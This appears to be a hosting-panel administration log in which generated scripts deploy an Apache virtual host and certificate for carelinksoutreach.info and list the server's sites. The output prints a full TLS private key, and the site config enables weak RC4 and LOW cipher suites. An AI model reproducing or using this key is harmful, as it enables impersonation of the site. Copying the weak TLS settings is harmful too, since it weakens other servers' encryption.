hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-24 06:01:00: 

chmod 755 /tmp/pkp235503; /tmp/pkp235503; rm /tmp/pkp235503

2025-10-24 06:01:00: 


dir=/etc/ssl/certs


2025-10-24 06:01:00: 

PUT: /tmp/pkp470395

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-24 06:01:00: 

chmod 755 /tmp/pkp470395; /tmp/pkp470395; rm /tmp/pkp470395

2025-10-24 06:01:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf 50

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-24 06:01:00: 

PUT: /tmp/pkp251822

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksoutreach_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf= 1'
fi


2025-10-24 06:01:00: 

chmod 755 /tmp/pkp251822; /tmp/pkp251822; rm /tmp/pkp251822

2025-10-24 06:01:00: 




2025-10-24 06:01:00: 

PUT: /tmp/pkp345823

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-24 06:01:00: 

chmod 755 /tmp/pkp345823; /tmp/pkp345823; rm /tmp/pkp345823

2025-10-24 06:01:00: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:01:01: Establishing a connection
2025-10-24 06:01:01: 

PUT: /tmp/pkp913739

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-24 06:01:01: 

chmod 755 /tmp/pkp913739; /tmp/pkp913739; rm /tmp/pkp913739

2025-10-24 06:01:01: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:01:01: 

PUT: /tmp/pkp992317

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:01:01: 

chmod 755 /tmp/pkp992317; /tmp/pkp992317; rm /tmp/pkp992317

2025-10-24 06:01:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf	1476

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-24 06:01:01: 

PUT: /tmp/pkp846943

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:01:01: 

chmod 755 /tmp/pkp846943; /tmp/pkp846943; rm /tmp/pkp846943

2025-10-24 06:01:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt	5402
cd:05:a7:0f:65:b7:f1:9b:e8:92:d5:f8:59:52:c5:b5

-----BEGIN CERTIFICATE-----
MIIFITCCBAmgAwIBAgISBTIQDUliHWWNo2gov2vWaDquMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjI5WhcNMjYwMTIyMDUwMjI4WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAurxQheluzJxuqvzq10uqDTwglYxGn99E8ESYMpGU9OH3ghJzwHbZ
huVOjOO4OkxsXwAqYIsAtd/YNgZBvFMRd7MsIx8T2ocUlpk06ctWqFxiVuRBjobq
0HWLizmfYdz7oyslJaEiybHzCujyCeVfOAdQF45sQImxa5zoIESZrw4lSOQYnbiN
Na84QsT+2HqB4vQqOXWQLtUvIvyWMV16qqe9E8oqn+lKD/1SRpWn6N+xcYZZmmgl
cMHQUYB1Rsq8/dGn0DrJGFm76Vh7Ot4sb38tZlxW07s0lAyR6KR5+jJfKsX4a1FS
qxSsxPsWC0X81yrROoFtgv8rBhiBMNRlbQIDAQABo4ICPzCCAjswDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRBQAL9aAzJJDH8f3iTgfiwj1mZVTAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5j
ci5vcmcvNDcuY3JsMIIBAQYKKwYBBAHWeQIEAgSB8gSB7wDtAHUAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM5b6AAABAMARjBEAiAh/iKg46cG
9Lk7dcbJD7V0VYwDj6C6Kk14wE00XPBp1gIgOnNMlokZjZUOH6tWmAv9s2o23NIA
BWefs8dQ5WFf+DsAdACWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAA
AZoUzlwyAAAEAwBFMEMCIFXcGb+sXuKEe3XFDutanhygDXun/X7aWBIXVb3jeFZZ
Ah98XxAEJAdAhdgE9g3Bo+24vjpNpO2MaVXDSHebL56YMA0GCSqGSIb3DQEBCwUA
A4IBAQBTVtjSOh8RL8z0nB90oNECamaq7X0k0OchY2MV3zXXaWJxKv6Hl1VHwQP8
/9iF73npR0lxvz9mzdh/wvnO2pVVEwN1iJm7SrPTE6PN2pZQrgiXU5JOfHfdVT9L
CJ2rRwH7dwhRzwZAznVhMj3HVBUGK9QyZltNf4h8kpvarQTu1MWxgqxAENLExq6s
w03P2sH6zPzqhq3Xt1cKw67eu+v05jWoKEYBsQ5D2fHZgQJWsB5Ei8D3NbKDRi3r
awhdRaX2Jd84RJZTQkfQ+tnLL0QG5DkVkCrxqPZiCez4CRVs7sKNfYdJYcd2mV7G
jDECGAM5DoSBfzfvCvY/qM4+78Qe
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC6vFCF6W7MnG6q
/OrXS6oNPCCVjEaf30TwRJgykZT04feCEnPAdtmG5U6M47g6TGxfACpgiwC139g2
BkG8UxF3sywjHxPahxSWmTTpy1aoXGJW5EGOhurQdYuLOZ9h3PujKyUloSLJsfMK
6PIJ5V84B1AXjmxAibFrnOggRJmvDiVI5BiduI01rzhCxP7YeoHi9Co5dZAu1S8i
/JYxXXqqp70Tyiqf6UoP/VJGlafo37FxhlmaaCVwwdBRgHVGyrz90afQOskYWbvp
WHs63ixvfy1mXFbTuzSUDJHopHn6Ml8qxfhrUVKrFKzE+xYLRfzXKtE6gW2C/ysG
GIEw1GVtAgMBAAECggEAde1vPOKKopU4HqvS81xJbEpImakZAOXTd5kaNPVTiMMb
t/1HNIjaHyK5VKiLM+YHmodUO9wM+s7+kD+rS+953Io+mX+K3jroeaMPk4Zil7ig
Mhe8fvIdYMCa+7XMPdV85TLeJsF4YsAKqR0rnaxJUezsW7QKEUfjz/4rahVoqO/F
FULaogp3T5jrt7UfNL0Wtxw6iKfJX4vKRS2sq6yN0I56eB15Y/wHJVrLP86HfIiD
ea39P28xySaF+lzpcUOTBBEeLTyEkH/3HJ6hiiF7PTC0b+wk+xhryBkUEz5TwplV
PZKeNXqM1Kb3gskQHK0vbwRTuSbKZfhDCf+EKjDCAQKBgQDrpRLLZR0IOMoPwbuT
M7oaypb/EPCjf0fGFCSbVq2zZLKz21F0iqarC5f/v2iTm7pwiy1K+uu96eIvuGWA
DeeMA2UrG7YCle5t8op1eIDOryDQFCSPxdsIY6zL8zxTHqqQItV2jNXkqYNn+kv5
wdDOQX8uhE+2Q7yqP5+KMdm5zQKBgQDK3bAyvgG31/RnOERWLmL1In1fLyK2jjfq
2IMBma7nO31eF7B+dIfnFJ07/0jxTEeR48pa3g3tGppbSq6EaZKISwfZhUVAwDIB
dbe958FQM4pempVFHd/uoQRHOxa1gtmt4lup+XIWgB8Pot8XTZs1fHwwckm+GIXe
KQ0td1c6IQKBgQCALQpMGHPyRPGkIH0nVLumVwxLMauzQ0iHNe2zkTJqohuSOXnV
KpX99BB5zGPV5p9DGHFKl7IjW1TtICAVx3prbm1ZRXl7bpKCu6sUurdVtWzjwhEh
Iz5BEfar+WKW09dzD3+NPI4cExinNj6dXA94IahMZSv2uGGnOXROd083AQKBgQC6
uSZO7jjioLFiuJWdxYBsJVzEWbxXz7uEO9kJhg1I5KbWDnPzUQsuFPlMmgLnptBR
ZhuBW9XxoYTl9m1/jzTCol0NR++gU8czNMj00PZL/cSkoyA1x/OvzyEC905Fr7Tw
qeK5JtJuB2uPlthEuLfdmUEtzmQ1xpihDaQFb00oQQKBgQDNRt+9RFNO/SY/hsuF
aV5tBNPERSyIJ9dlhHt9SrOaVD2X11k1uIsKbXlikqLROUP33XMvSU4OGXMdeFIi
TThhlAuWpWCJbSd/x8aTD/vbJNjW32RVwNVdJFIKxScsBWB1DW1n1eySpwyGnJct
dXSNL3bwJ+kkWSsub3McNbEcHA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-24 06:01:01: Establishing a connection
2025-10-24 06:01:01: Establishing a connection
2025-10-24 06:01:01: 

PUT: /tmp/pkp869287

#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-24 06:01:01: 

